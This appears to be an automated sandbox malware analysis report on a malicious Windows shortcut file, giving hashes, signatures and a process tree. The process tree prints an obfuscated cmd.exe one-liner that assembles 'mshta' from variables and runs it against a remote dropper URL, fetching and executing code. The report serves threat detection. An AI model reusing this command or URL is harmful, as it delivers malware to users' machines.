Analysis
- max time kernel
148s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 08:19
Static task
static1
Behavioral task
behavioral1
Sample
DOC-YCFHC2.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-YCFHC2.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-YCFHC2.lnk
- Size 1KB
- Sample260804-j74d3azyev
- SHA256 bb226169cea019279045c211a2d2e9c43c6591898eb6966097d1e21c062909d2
- MD5 054d0925f4e8b8bfb7bf349b450e624f
- SHA1 4a487c7357d730ecebc8f4b2dabfa6d72afab5e5
- SHA512 f5ed79f2f6ac2d8da40ea7e964bdd9e2c6b13484aa2482709233e7008b4786d21ccb9194806e8fa69afd2e5728b754e43ea6bc05e0712aadf083f68551fe8603
- TLSH T1433147106FFD0664F3F79FB684BB5B1089BBB8568D20C62E4150854C1072A01E6BAF7B
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://documntacion.lat/h/estagio1.php?r=3F1477F15398D1
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5988 cmd.exe 4288 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 5988 wrote to memory of 4288 5988 cmd.exe 91 PID 4288 wrote to memory of 3204 4288 cmd.exe 92
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-YCFHC2.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5988 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:on /C "set sk=msh&&set yChbG=ta&&start "" !sk!!yChbG! https://documntacion.lat/h/estagio1.php?r=3F1477F15398D1"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4288 -
C:\Windows\System32\mshta.exemshta https://documntacion.lat/h/estagio1.php?r=3F1477F15398D13⤵PID:3204
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